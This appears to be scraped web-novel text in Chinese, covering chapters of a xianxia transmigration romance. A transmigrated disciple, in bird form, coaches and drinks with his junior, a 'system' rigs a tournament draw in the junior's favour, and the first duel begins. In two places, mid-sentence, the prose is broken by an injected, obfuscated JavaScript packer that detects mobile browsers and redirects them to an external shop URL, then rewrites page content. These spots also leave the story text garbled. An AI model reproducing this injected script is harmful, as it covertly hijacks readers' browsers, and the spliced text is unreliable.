为了将砚倾酒顺利保送到总决赛,闻执诗这几日发疯似的恶补逍遥宗的心法和招式,在自己龙傲天人设的加持下,不到一周就恢复了从前的功力,可以说是达到了打遍逍遥宗无敌手的水平! 闻执诗深知知己知彼,才能百战百胜这个道理。白天,他挨个找五峰出类拔萃的弟子约战,将五峰弟子的实力摸得清清楚楚,晚上他化身那只寂寞的鸟儿,飞到青山峰给砚倾酒送能在短时间内速成的武功秘籍,甚至给他送了几本魔教的心法秘籍。 闻执诗的想法一成不变:他不在乎砚倾酒是仙是鬼还是魔,只要他能变得强大,只要他有能力保护好自己,他就算是半魔半仙也没关系! 然而,砚倾酒从始至终都没有翻开魔教的心法看一眼,仿佛他坚信自己没有仙骨也能在修仙这条路上走下去一样。真真是正得发邪! 太天真了孩子!你的人设是苦逼炮灰啊,你没有挂啊! 没事,自有挂逼龙傲天会帮你。闻执诗一日往常,天一黑就去了青山峰。 夜里,明月高悬,繁星密布,幽幽山风掠过青山峰的云台,长生树下,砚倾酒一袭玄衣坐在石桌前,垂眸看着手中古籍。 云雾从他的鸦发间缓缓溜走,留下一丝山谷中苦楝花的香味,清雅中带着一丝苦凉。 但看背影,妥妥古早文中的美强惨深情男二哪!相同的背影,不同的命运...... 空气中的花香好特别。 不知为何,闻执诗觉得这种花香很熟悉,虽然他不知道这是什么样的花,也不知道为什么这种花的香气是苦涩的,可他就是觉得冥冥之中这种花跟他有缘。 好像这种花在他小的时候抱过他一样…… 闻执诗低声念咒,变成了那只鸟。这几日,他日日勤奋练剑,胳膊腿都变细了,变成鸟儿之后,圆滚滚的肚子也没了,变成一只干瘦的鸟儿了。看着像是饿了十天半个月,给鸟饿扁了。 一如往常,他一来,便飞到砚倾酒的肩头,眯着眼睛打瞌睡。 千年修得同船渡,万年修得共枕眠。我站在你的肩头打瞌睡,咱们算不算是共枕眠? 砚倾酒将早就准备好的长生果递给他,关心地问道:“你怎么瘦了?可是近日在山中寻不着吃食?不如到我这来,我养着你。” 闻执诗美滋滋地吃着长生果,心道:“要是靠你养着我,我怕是真该饿死了。你还是先养好你自己吧!” “虽然我这里也没有什么好东西能拿出来给你吃。”砚倾酒从怀里掏出一个荷包,将里面装着的五颗小石子拿出来,摆在桌子上给小鸟看,又道:“我只有这些小玩意,你要是不嫌弃,就叼着玩吧。” 闻执诗一皱眉,傻眼了,心道:“我的老天爷啊!难怪你身上有妖气呢,你怎么把祁山臊子妖的妖丹带在身上了?!算了,你日日带着,估计你身边的弟子们早就熟悉你身上的那股妖味了。甭给我了,你就这点宝贝,自己留着玩吧。” 为了不让砚倾酒失落,闻执诗叼着石子晃了晃脑袋,算是回应。 砚倾酒浅笑一下,低下头继续看书。他看的是逍遥宗弟子入门时学习的那本,相当于凡间小孩背的?三字经?和?千字文?。 看着那些蚂蚁似的小字,闻执诗无奈地叹了口气。 勤奋是好事,可距离比武大会只有不到十天的时间了,就算把这本书背的滚瓜烂熟,也拿不了第一啊! 学习千万不能傻学啊小酒酒!好吧,其实我是在投机取巧,你也不要跟我学。 小雏鸟蹦到一本招式秘籍上,愤愤地跺了跺脚。见状,砚倾酒问道:“你是想让我看这本书吗?” 小雏鸟点了点头,又飞到了桃木剑上。此时,闻执诗的小灵魂正在小雏鸟的身体中歇斯底里:“酒啊,你怎么还没看清楚?你走的是修仙这条路,又不是考科举那条路!你就算是把书翻烂了,到了比武台上,也得拿剑跟人家斗啊!你总不会真指望这些书送你去当第一,就能救得了你的命吧?” 虽然,就算是砚倾酒连拿剑都不会,闻执诗也会想方设法让他当第一的。 如一位望子成龙的心酸老父亲。 并非砚倾酒不想练剑,而是他根本不知道该从何开始。 常可甯没教过砚倾酒该怎么握剑,苏庭也不会告诉他该怎么练习书中的这些招式,他只能硬着头皮照猫画虎,笨拙地按照图中画的黑色小人将那些招式比划出来,闻执诗在一旁看着,觉得他不像是在练剑,倒像是在树下跳舞。 还挺优雅的。 闻执诗心想,要是能手把手教他练剑就好了。 现在也不是不行! 于是他这只鸟儿就化身砚倾酒的小师傅,叽叽喳喳地在他身边飞来飞去,教他摆出正确的姿势,砚倾酒的手要是抬低了,他就往上飞,砚倾酒的腿要是抬高了,他就往下飞。 一回生二回熟,到第三次的时候,一人一鸟竟然默契地配合起来了。 不知不觉过去了两个时辰,砚倾酒练得腰酸背痛,手麻腿也麻,便将桃木剑放在一边,搬出一坛私藏的花酿,而后坐在长生树下,与孤月和辰星对饮,捧着酒壶畅饮一番,喝得痛痛快快,潇潇洒洒。 一醉解千愁! 小雏鸟落在砚倾酒的肩头,瞪着俩黄豆般大的小眼睛看着他,心说:“没想到你还是个小酒鬼呢。” “小不点,你想喝么?”砚倾酒用拇指抿去嘴边的酒滴,摊开手让小雏鸟跳到自己的掌心,另一只手拎起酒壶,冲它晃了晃,笑道:“馋酒就点头。这是苦楝花酿,不醉人的,但是有一点点苦,想试试吗,我亲手酿的。” “苦楝花酿?这年头什么花都能酿酒了?”小雏鸟抱着肚子,皱着脸摇了摇头,心道,“既然是苦酒,那就一定不好喝啦,我才不喝呢。” “你这个人真奇怪,日子过得苦就算了,吃长生果也苦,你竟然还喝苦涩的酒,岂不是苦上加苦?怎么,你是黄连啊!苦死你算鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349188|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 小雏鸟叽叽喳喳叫个不停,奈何砚倾酒听不懂鸟语,只能自己瞎猜。他以为鸟儿这么激动是着急喝酒,便将酒壶送到它的嘴边,朗声道:“请吧。” 这只小雏鸟喜怒无常,这会儿又炸毛了:“什么叫请吧?!你对一只鸟客气什么!况且,这酒壶长得歪瓜裂枣的,脖子还那么长,你让我怎么喝啊!我总不能把头伸进去,撅着嘴喝吧!真是气死鸟了!” 小雏鸟吹胡子瞪眼,这下砚倾酒明白它的意思了,笑道:“酒壶太深了,我喂你喝吧。” “……喂我?!你想怎么喂?!别……别搞这种……等等等一下!”小雏鸟掉头就走,却被砚倾酒一把抓回来了! “等一下!等一一一下啊!”小雏鸟闭着眼在砚倾酒的手心里瞎扑棱,睁开眼时,看到的竟然是砚倾酒窄薄的双唇! 砚倾酒抿了一小口酒,含在嘴里,低下头,温柔地将口中的清酒渡给了掌心里的鸟儿。 苦酒入喉,灼烧心脾。小鸟被这口酒呛着了,在砚倾酒的手心里哆哆嗦嗦地咳嗽,差点撅过去! 砚倾酒用手指揉了揉它的背,一边揉一边笑。鸟儿心如死灰地看着他,心道:“你!竟!然!还!能!笑!得!出!来!你知道你刚才亲的人是谁吗!鸟的初吻没了你知道吗!!!” 小雏鸟抱头大哭,这口酒不敬别的,就敬自己的初吻。 真是要了鸟命了! 砚倾酒又要喂它,鸟儿拼死挣扎,终究没有逃出砚倾酒的魔抓,又被逮回来渡了一口酒。 一口两口三口……鸟要醉了…… 再不走就要原形毕露了,这下不得不走了。可砚倾酒哪肯放它走,揪回来又喂了几口。直到鸟儿恼羞成怒,回头啄了一下砚倾酒的手,他这才松开了手。 为此,鸟甚至掉了一大撮毛。 鸟要秃了! 闻执诗仓皇逃窜,一路飞回小香山后,晕晕乎乎地一头撞在门口的苍天古树上,脑子里全是砚倾酒的脸,还有他的冰冷的唇,挥之不去,越想画面越清晰,像是被鬼缠上了一般。 嘴唇上还有苦楝花的酒酿,口中还有那股苦涩的酒香,仿佛砚倾酒此刻就在他身边,拎着那壶酒笑着看着他。 彻底完了! 闻执诗觉得自己中毒了! 这可真是喝了你的酒,中了你的毒啊。 闻执诗心说醉了醉了,醉的不清醒了,便抱着头跌跌撞撞的进了小香殿,一头栽进棉被里,恨不得将刚才发生的事情从自己的记忆中剜去。 越想越疯,越想越乱。 偏不巧,这时起了一阵风。山风微凉,吹得有心之人心乱,无心之人心凉。 小雏鸟飞走后,砚倾酒坐在树下抱着酒壶发呆。他看着散落在地的古籍,看着那把桃木剑,陷入了沉思。 嘴角的笑意渐渐凉了。 “小师弟,你坐在这里做什么呢?”苏庭走来时,砚倾酒藏起酒壶,起身道了句:“见过师兄。” 苏庭一眼看穿砚倾酒适才偷偷饮酒了,笑道:“小师弟,你偷喝酒了吧?刚才跟谁一起喝的?就你一个人吗,那未免也太寂寞了些。” “承蒙师兄关照,没有责罚小九。”砚倾酒的笑意凝在嘴角,拱手作揖,回应道:“小九不寂寞,刚才身边有人陪着。” “怎么会?试问在这逍遥宗中,有谁敢不要命的来咱们青山峰吃酒啊?他们就算是不怕仙门的规矩,也怕咱们长老啊!”苏庭半信半疑,试探地问道,“嗳?该不会是刚才飞走的那只鸟吧?” 还真就是了。砚倾酒没有回答,算是默认。 “我就知道那只鸟喜欢你,缠上你啦!”苏庭耸肩一笑,看向远处的峰峦,又道了句:“说来也奇怪,我看那只鸟好像朝小香山的方向飞去了。小香山里有谁啊,它去小香山能找谁啊?” 如今在小香山中住着的,就只有闻执诗一人。 13. 抽签仪式 三年一度的比武大会如期而至。 按照从前仙门的规矩,逍遥宗举办比武大会,其他宗门的长老和弟子也是要来参加的,就算不参与比试,至少也得走过过场,在观众席上喝杯茶晒晒太阳。 这就叫做往来。有来才有往。 仙门初代的大统领认为,各个宗门之间时不时往来一下,还是很有必要的,万一哪天罗刹门的门主联合恶佛门的人突袭了仙门中某个倒霉的宗门,旁的宗门总得施以援手,才能维护仙门的长治久安啊! 一方有难,其他方要是不支援,那么下一个倒霉的宗门,可就不一定是哪一个了。 然而,自打微生言当上逍遥宗的执剑长老后,逍遥宗与其他宗门的往来就断了。 原因有三: 一是微生言这个人从前是一国皇子,早就看惯了世间的尔虞我诈和勾心斗角。 说到底,仙门的三宗四派虽是修仙门派,可本质上与人间的世家无异。只要是人,该有的七情六欲就都有,有了贪念,就会有算计,有了算计,就会有恩恩怨怨,是是非非,无穷无尽,还恶性循环。 微生言不想陷入各个宗门恩怨纠缠的漩涡之中,便想带着逍遥宗一众弟子不问俗世,也不问其他宗门之事,更不参与仙门中的是非争端,所以干脆就直接断了与其他宗门的往来,逍遥宗也因此安定了许多年。 二是这些年逍遥宗逐渐势弱,势头正盛的是逍遥宗的“远房亲戚”万灵宗,而这万灵宗的掌门就是微生言的亲叔叔微生翯,若逍遥宗和万灵宗的弟子整日黏糊在一起,旁的宗门必要说“仙门要成微生家的后花园啦”! 不太好不太好。修仙的门派,怎么能搞那种关系呢。 三便是微生言冒天下之大不讳,与恶佛门的宗主魔僧忘情做过一笔交易。 那可是比罗刹门还像地狱的恶佛门哪! 那可是比鬼主还邪门的魔僧忘情哪! 微生言想让魔僧忘情利用恶佛门邪术在转世轮回中找到他身死的父皇母后,以及在人妖大战中荣国惨死的子民,让他们不入地狱,不入畜生道,这样自己能在轮回中与他们重逢。 作为代价,他愿意交出仙门至宝「金琉璃」。可谓是老实人豁出去了。 不知为何,原本密不透风的窗户竟然破了洞,微生言还未与忘情达成交易,这件事情便败露了。 此事败露之后,仙门中其他宗派联合起来讨伐逍遥宗,逼微生言交出仙门至宝「金琉璃」,无奈之下,微生言只好将「金琉璃」交给了万灵宗掌门微生翯,自请让出掌门一职。 因为逍遥宗掌门之位后继无人,微生言想走走不掉,无法脱身,便只能接受仙门的惩罚——四大祭魂处承受天雷之罚后,继续担任掌门一职,直到逍遥宗选出下一位掌门为止,这一当,就当了三百年。 说到底,其他宗门还是忌惮微生言是微生翯小侄子这层关系,换做旁人,轻则断其根骨逐出仙门,重则直接将其绞死于逍遥宗,再将他碎尸万段了。 仙门就是这样,规矩是人定的,遵不遵守也得看规矩约束的是什么人,大不了把规矩改了就是了。 虽然仙门有着“修仙之人不看出身”的说法,但这种话只有那些草根出身的低等修士听进去了。有身份有地位的人,一入仙门便能得到长老的照顾,不用几年就能在仙门混出名头,混个小官当当,想要什么就得到什么,应有尽有,可草根出身的修士,在仙门熬个几十年,也才能见着别人一入门就修习过的心法秘籍。等熬干了青春,再熬干净寿命,就可以做仙门里的孤魂野鬼了。说好听点,这叫做没有天赋,一事无成,最后“身死道消”了。 至于天赋这种东西,有鼻子有脸的人可以没有天赋,因为自有人会给他们说成有,而草根出身的修士要是没有天赋,那就真的什么都没有了。 反正啊,从微生言私通恶佛门那件事情发生之后,逍遥宗在仙门的名声就臭了,原本龙争虎斗、声势浩大的比武大会,就成了逍遥宗的“自娱自乐”了。 这对闻执诗和砚倾酒来说,反倒是好事一桩。参加比武大会的人越少,竞争力就越小,就越好拿考前的名次。只要将五峰出类拔萃的弟子的实力摸个清楚,做好对策,积极备战,就能拿个不错的名次。 当然,要是能送砚倾酒直接进决胜局就更好了! 关键看抽签。 第一轮抽签仪式在小香山举行,因为住在小香山的弟子只有闻执诗一人,五峰长老都觉得在小香山抽签会比较公平。当然,最主要的原因还是因为闻执诗是微生言的亲传大弟子,他们信不过别人,也得信得过掌门的亲传弟子啊。 这可太公平了! 不怕聪明人绞尽脑汁,就怕蠢人灵机一动。 正合了闻执诗的意,真是得来全不费工夫。 抽签现场堪比村里每周一次的大集会,各峰弟子穿着五颜六色的弟子制服叽叽喳喳地聚在一起,对着抽签大罗盘评头论足,眼睛全盯着罗盘上的「轮空」二字。 闻执诗则抱着月照泉云淡风轻地站在一边,吊儿郎当地问系统:“你们可以保证砚倾酒一定能抽到轮空是吧?” 人工客服丝毫不惯着他:【你打算拿什么换?使唤系统做事情,可是得付出代价的!】 “又要代价?佛祖都没你们这么斤斤计较,凡事都要用代价来换!”闻执诗跟系统掰扯,“你们从我这也得不到什么好处的。我一穷二白,啥也没有,就只有烂命一条。你们既不能喝酒,也不能吃肉,我也没办法送你们点什么。不如这样吧,我给你们唱一首‘阳光彩虹小白马’可以吗?别小瞧华语乐坛老来得子的含金量啊!” 人工客服:【... ...你TM要不要脸?!】 闻执诗捏了捏自己的脸,嘿嘿一笑:“我有脸啊,要那么多做什么。” 人工客服又是一阵沉默。 眼看着抽签仪式要开始了,闻执诗急眼了,嚣张地问道:“你们到底行不行,能不能让砚倾酒轮空?你们要是敢耍我,我就一头撞死,带着你们一起同归于尽!” 人工客服虽然脾气暴躁,蛮不讲理,但宠:【哎呦,瞧把你给能的。等着吧,已经办妥了!】 听到这番话,闻执诗心说一句“稳了”,便开始在人群中寻找那一抹五光十色的黑色身影。须臾,他便在小香殿的角落里看到了孤零零一个人傻站着的砚倾酒。 别人都是扛着宝剑,还带了一堆叮铃当啷的法器,威风凛凛,霸气十足,而砚倾酒只能抱着闻执诗送给他的那把桃木剑,看着属实是有点寒碜,不过砚倾酒倒是挺喜欢的,还爱惜的用袖子擦了擦剑身,像抱着个宝贝似的。 看着看着,闻执诗坚不可摧的金刚心好像有点软了。 好久没听到系统报心动值增加的声音了,他很想过去逗一逗砚倾酒,蹭点心动值。 于是乎,闻执诗便跟个要开屏的孔雀似的,款步走到砚倾酒身边,冷着脸对他道了句:“好久不见啊,小师弟!” 脸是冷着的,语气却是极其亲切的,好像二人是莫逆之交一样。 此话一出,周围排队的各峰弟子纷纷转头看向闻执诗和砚倾酒。 自打砚倾酒一走进小香殿开始,从他身边经过的弟子便小声地议论他。他们不知砚倾酒是从哪个石头缝里来的,见砚倾酒竟然穿的玄色制服,心想,莫非执剑掌门又在鸟不拉屎的地方开出一座玄山峰出来?然后捡了个来路不明的野弟子来? 众说纷纭。没一个猜得准的。通通瞎扯。 可刚才听见闻执诗对他亲切地道了句小师弟,众人便又有了新的猜测:莫非这位长相英俊,气度不凡的小师弟,是执剑掌门新收的弟子?可他的修为连「通幽境」都没到啊! 修习多年的弟子一探便知砚倾酒没了仙骨,又是一阵唏嘘。 砚倾酒只听不语,一句也不解释,周围的人便讨论的更大声了,好像在点评刚出土的文物似的。 一位赤山峰的老弟子摇着一把二手制造厂出品的牛魔王他老婆铁扇公主的芭蕉扇,笑着问道:“这位师弟,你叫什么名字?是哪里人?家里是做什么的?今年多大了?可曾... ...” “这位师兄,您忘了吗,修仙之人不问出处。”闻执诗心说红衣老兄弟这是要做什么?怎么跟村头的老大爷似的问这问那,下一句是不是要问可曾成过亲了?干脆别修仙了,当媒公去吧! 赤山峰弟子还真就这么问了! “闻师弟,你紧张什么,我不过是跟小师弟寒暄几句,想凑凑近乎嘛。”赤山峰弟子那身红色的弟子制服亮的乍眼,像一张从染缸中拖出来的大红牛皮,他先回了闻执诗的话,而后又笑眯眯问砚倾酒:“师弟,我看你眉心处隐约有红鸾之象,来逍遥宗之前,你可曾成过亲?” 砚倾酒掀起眼皮盯着闻执诗看了两秒,坦诚地道了句:“我成过亲了。” 众弟子大吃一惊:“?!” 闻执诗大吃三惊,心道:“what?!就这么说出来了?!小酒酒你... ...你未免也太实诚了吧!” 一阵八卦之风狂掀而起,此刻对于小香殿中的一众弟子来说,比抽签轮盘更有看头的,便是成过亲却抛妻弃子来修仙的砚倾酒! 一众NPC围着砚倾酒开茶话会。 紫山峰弟子上下打量砚倾酒一番,揶揄道:“难怪他穿一身黑衣服,原来是个薄情郎!自己来逍遥宗求仙问道,逍遥快活,长生不老,竟然将老婆孩子都扔了不管了!真是岂有此理,天道可诛!” 闻执诗没作声,在胸前比了个“哒咩”,腹语道:“并非抛妻弃子,并非独自一人来修仙。错了错了,你们都错了!跟他成亲的人就在这里,是我!” 蓝山峰弟子“啧啧”两声,戏谑地说道:“这话就不对了,难道这位师弟你没听说过‘杀妻证道’吗?他这种人,天道最喜欢啦!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349189|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻执诗眉梢一挑,心道:“‘杀妻证道’也忒恶毒了吧!这种事砚倾酒绝对做不出来!当然,我也做不出来。嘻嘻。” 黄山峰弟子岂能错过,几个人扎着堆说道:“他不会修着修着,又跑到山下去找老婆去了吧!像他这样的人,哪个长老敢要他啊?他不会要自立一派,自己当长老吧!” 闻执诗无奈摇头,心说:“不用找。他的老婆,啊不,他的道侣!远在天边,近在眼前。是我是我是我!你们这些看不懂的,就别再说啦!” 若不是先前闻执诗向微生言表明自己与这位叫“李九”的小兄弟乃是自己的死对头,此刻他定是要牵起砚倾酒的手,为自己和砚倾酒正名的! 砚倾酒的道侣并非远在天边,而是就在他们眼前!闻执诗已经想象到一众吃瓜群众得知真相后大吃一惊的表情了,因为他之前就是个混迹各大论坛的吃瓜小子! 闻执诗脑补出一场大戏。 注意看,这个男人叫小闻,他当着众人的面牵起了小酒的手,满脸春光无限好地说:“我,闻执诗,就是他的道侣。我们已经成亲了!尔等长舌头,切莫再胡乱猜测了!” 砚倾酒对他投以温柔似水的目光,唤他:“执诗。执子之手,白头偕老。永不分离!今日,就让诸位见证我们的誓言吧!” 好诡异好诡异! 闻执诗觉得自己一定是吃多了见手青,才能脑补出如此诡异的场景的! 等等......我对着砚倾酒傻笑什么呢?! 这边还没聊完,那边抽签仪式要开始了。 抽签轮盘上有一众弟子的姓名,上前抽签的弟子划掉自己的名字,并转动轮盘,指针指到谁,谁就是第一轮要面对的对手,若指针转到「轮空」,那么这一轮就轮空。 抽签仪式开始之时,小香殿中顿时鸦雀无声。无人愿做出头鸟,第一个上前抽签。一阵尴尬的死寂后,砚倾酒穿过人群,走到抽签轮盘前,成了第一个抽签的人。 比砚倾酒更紧张的人是闻执诗,他屏气凝神地望着砚倾酒的背影,颇有一种送自家小孩去考场考试的感觉,孩子进了考场,他就在外面眼巴巴地看着。 抽签轮盘开始转了! 命运之神(人工客服)是否要眷顾他呢! 不要停... ... 不要停! 闻执诗捂住眼睛不敢看了。 突然,周围响起了一片诧然的惊呼声。闻执诗眯着眼,从指缝中偷偷地瞄了一眼,指针不偏不倚地旨在了「轮空」二字上! 谢天谢地! 考上了! 闻执诗差点热泪盈眶,在心里上演了一出父子情深的大戏,恨不得冲过去抱住自家小孩,狠狠地揉一把他的脑袋,说一句“小酒儿,你真棒,不愧是我鹅子啊!老父亲热泪盈眶,为你骄傲!” 砚倾酒回头时,恰好看见闻执诗在冲自己挤眼睛,砚倾酒觉得他那傻了吧唧想要挤出眼泪的模样,还挺好笑的。 于是他不经意间笑了一下。 恰好,那抹笑容入了闻执诗的眼睛,紧接着,闻执诗听到了久违的人机系统的播报:【恭喜宿主,您的契约对象对您的心动值恢复到15啦!心动值死而复生啦,宿主棒棒哒!恭喜您再次解锁「心书」奖励,给您放到工具箱里啦。】 【宿主再接再厉,小系统看好您哦!】 看戏的人工客服诈尸般揶揄两句:【你对他那么客气干什么!这明明是我的功劳,怎么没人夸我呢!】 人机系统:【小客服你也很棒哟!】 人工客服:【... ...】 “你们能不能安静点,我要抽签啦!”闻执诗站在抽签轮盘前,深吸一口气,比高考还紧张,“实力不详,遇强则弱,遇弱则更弱,麻烦让我抽到逍遥宗中最弱的弟子,千万别让我抽到女弟子!拜托了!” 三秒后,指针停在了「黄山峰牛大仙」上。 闻执诗一头雾水,还觉得这名字有点扯蛋:“牛?大?仙?素?神马人物?” 他回头环视一番,没见到自己的对手牛大仙,倒是看见一位娇滴滴的小师妹扭扭捏捏地对着一位身高八尺、体重将近一千斤的庞然大物捂着脸撒娇,还哼哼唧唧地道了句:“牛师兄,我看好你哦!你一定不会让菜菜失望的,对吗?” 想必那个庞然大物就是牛大仙了。 那这位“菜菜”又是何等人物? 直男绞尽脑汁,也没看出这是一出“老牛吃嫩草”ד一朵鲜花插在了牛粪上”的情感大戏。 奈何小师妹太萌,牛大仙看着她撒娇怎么可能不斗志满满。他抬了抬胳膊,肱二头肌登时鼓了起来,像一座小山。 闻执诗后背一凉,擦了擦额头上的冷汗,问人工客服:“你是不是在玩我?” 人工客服嘿嘿一笑,挑衅道:【你有小师弟,还不允许人家有小师妹啦?您可别忘辽,凡事都有代价喔!】 14. 白衣少年 武斗开始之前,逍遥宗招生办主任黄山长老简单地介绍了一下本次比武大会第一轮的规则。 只见那黄山长老身着黄褐色对襟宽袍,头戴莲瓣形五老冠,蹬着一双墨黑色长靴,一手持拂尘,一手捻胡须,俩炯炯有神的小眼睛从一众弟子的脑门上一刮过,而后抿着嘴微微一笑。他思量半天,就蹦出一字:“打!” 这一根年迈的胡萝卜两手叉腰,摸了摸干瘪的肚皮,慈祥地笑道:“诸位,本次比武大会的第一轮的规则就只有这么一个字——打!无论使用什么法器,用什么招式,只要能打得对手心服口服,就算获胜。要是对手不服,那就继续打,打到对方心服口服为止。诸位,听清楚了吗。” 一众弟子npc纷纷拱手作揖,沉声回应。 好标准的npc!竟然能同一时间做出同一动作,连表情都是一模一样的! 学校的教导主任要是能训出这么一群标准的“好学生”,做梦都能笑开花吧! 众人皆醉我独醒。唯有闻执诗暗自吐槽,心道:“这规则也定的太随意了吧!万一闹出人命怎么办?万一有人走歪门邪道,用不正当的手段取胜怎么办呢?虽然砚倾酒手里就有不少有关宗门禁术的秘籍,但砚倾酒他没学也没练啊。” 人工客服很不客气地提醒道:【没给这些NPC设定这么复杂的程序,你瞎操心什么呢?】 闻执诗挠了挠额头:“哦。我忘了,忘了NPC既没有人性,也没有自主意识,不会为了一己私欲破坏规则、伤人性命了。” 闻执诗看着身边那些穿着各色衣服的弟子,不由得替他们感到遗憾,命运无法掌握在自己手中,只能由系统设定的他们,就算在剧本中活一千年、一万年,也找不到自己存在的意义吧。 视线落在砚倾酒身上,一怔。 “那砚倾酒呢?他算什么?”闻执诗若有所思地问道:“他是不是跟那些npc一样,他的所作所为、所思所想、所言所语全都是系统设置好的?” 人工客服答道:【是。炮灰与参与剧情的NPC一样,没有自主意识。】 闻执诗半信半疑,又道:“我有一个问题:既然砚倾酒没有自主意识,说直白点就是没有自己的想法的话,那么,他对我的心动值为什么会发生变化呢?难道你们系统不能直接设定好程序让他爱我吗?” 人工客服沉默三秒:【我没有权限回答你这个问题,还是让系统来说吧。】 人机系统火速上岗:【抱歉宿主。这个问题系统也无法给您明确的答复,但是系统可以给您一条提示:角色的身份背景、成长环境、人生轨迹、性格、样貌、人际关系都可以被设定,但是有一点除外。】 【爱无法被设定。】 说得云里雾里的,跟没说有什么区别?! 这种话是闻执诗这种脑子一根筋的人能想明白的吗! 闻执诗仅仅动了三秒脑子,就放弃了思考。比起冥思苦想,他还是更喜欢大刀阔斧地提剑就干,能动手,绝不多费口舌。 微生言与五峰长老落座观礼席后,第一轮的武斗就要开始了。 通天殿前设有比武台,乃一方巨大的圆形阴阳鱼玉石台。 玉石台上云雾缭绕,时有仙鹤绕飞,远处瀑布如银河垂落,声若隐雷。 观礼席上五峰长老坐于微生言身侧,微生言一袭白袍似云朵,五峰长老穿着五颜六色的制服似彩虹,故此,此景便成了“晴天小彩虹”! 不对,晴天小彩虹旁还有一个小黑点,便是身着玄色弟子制服的砚倾酒。因为他抽到了轮空,第一轮不参加比试,弟子席上有没有他的位置,他就只能站在五峰长老身后,做那一抹五光十色又特别刺眼的黑。 弟子席上,唯独闻执诗对这个小黑点颇有兴趣。旁人都是看比武台上的弟子比武耍剑,只有闻执诗盯着砚倾酒看得出了神,无人知道他在想什么。 他也想不明白自己为什么要看砚倾酒。 可能是因为砚倾酒长得好看吧。 闻执诗心想,砚倾酒的小脸本就长得精致,仪态也好,站在那几个五颜六色的“妖魔鬼怪”身边,简直是鹤立鸡群,宛若谪仙啊! 他心道:“这是客观评价,绝对不是我故意要夸他的。” 时间不等人哪。想着想着,就该他上场了。 闻执诗的对手是黄山峰的牛大仙,也就是身边有小师妹应援助威的那位师兄。 看了几轮下来,闻执诗发现这些个剑修不装逼的实在是不多。有骑着灵兽蹬着风火轮霸气登场,还不忘让他那灵兽表演杂技的;有踮着脚站在石头上张牙舞爪地表演“天狗望月”和“白鹤亮翅”的;还有被一众小师妹众星捧月似的哄到比武台上沾沾自喜,以为自己牛逼哄哄能捅破天的。 当然,还有闻执诗这种一站到比武台上就开始憋不笑的半吊子剑修。 什么修仙门派的比武大会?这简直是一群“妖孽”在群魔乱舞! 牛大仙的出场还算低调,除了那个一心为他应援的小迷妹,旁人都摆出一副事不关己、高高挂起的姿态,毫不在意地看戏吃瓜。 可闻执诗一出场,一众弟子便按耐不住,开始叽叽喳喳地给闻执诗摇旗呐喊,加油助威了! 在众弟子眼中,牛大仙这种低等剑修跟执剑仙尊的亲传大弟子比武,就跟那吊起来被人打的沙包没有什么区别。 全场对闻执诗实力最不清楚的,其实是他自己。 闻执诗福薄,哪见过这种场面啊!况且一众弟子还不停地夸赞他,欣赏他,听着像是在捧神,实则是在捧杀。 刚入逍遥宗不久的小师弟们凑在一起,满眼好奇地望着闻执诗,像是在看一件巡回展出的工艺品,纷纷嘀咕道:“咱们闻师兄可是十七岁就到达飞天境的仙门奇才!据说仙门中修为到达飞天境的剑修,两只手就能数过来!闻师兄可真是太厉害了!我还听说闻师兄的武功都是仙尊手把手交给他的,还夜夜传授他独门心法呢!” 闻执诗心道:“有什么功法是白天不能练,一定要夜夜修炼的?!” 有位老师兄暗暗吃醋道:“闻师兄怕不是仙尊的远房亲戚吧!我来逍遥宗几十年了,就没见过仙尊对除了他以外的人这么好过!不是说要一视同仁吗?这不公平!” 闻执诗心道:“远房亲戚……这……孩子你想偏了,我跟他毫无血缘关系啊!” 有小迷弟疯狂替闻执诗找补道:“你要是十七岁的时候修为就能到达飞天境,仙尊也会这么爱你的。可惜了师兄,你现在已经三十九岁了。不对,你虚岁已经四十岁了。” 闻执诗汗颜,腹诽道:“不要拿年龄说笑啊小同学!人都会老的,恶语伤人心,小心回旋镖啊!” 一老一小还在斗嘴,谁也不饶人,火焰越来越高。 老师兄不服气地说道:“四十岁怎么了?四十岁就是比你强。你等到了我这个年纪,你也就是个无人知晓的小喽啰!” 小迷弟强词夺理道:“可我闻师兄现在才十九岁,就已经名扬天下了!” 又有小师弟附和道:“我觉得闻师兄就是‘仙门之光’!用不了几年就一定能飞升成仙!” 一群小师弟快给闻执诗哄成胚胎辽! 闻执诗压住蠢蠢欲翘的嘴角,摆摆手道:“不讲不讲的啦。鄙人实力一般般的啦!鄙人觉得,抛开修为不说,单论武斗,还是牛师兄更胜一筹。” 好一个“鄙人”,怎么听起来更装了?! 牛大仙也是个体面人,知道自己修为比不过闻执诗,便谦和道:“师弟,拔剑吧!你师兄我也不是个输不起的人,有什么招式尽管使出来,最好是能教我输得心服口服!” 菜菜师妹捂着脸,心花怒放地望着牛大仙,激动道:“牛师兄好帅啊!好迷人的肌肉线条,看着好馋人啊!师兄,你一定可以赢的,对吗!” 牛大仙回头,朝菜菜师妹露出了一个憨厚老实的微笑,而后抡起大铁剑,冲闻执诗伸手道:“师弟,请。” 月照泉就在他耳边杵着,闻执诗漫不经心地弹了一下月照泉,很有礼貌地笑了一下,道了句:“师兄,承让了。” 二人面对面站着,互相行了个礼。牛大仙比闻执诗高了三个头,胳膊和腿有闻执诗的三倍粗,他站在闻执诗对面,显得闻执诗像个小虾米,一巴掌就拍死了。 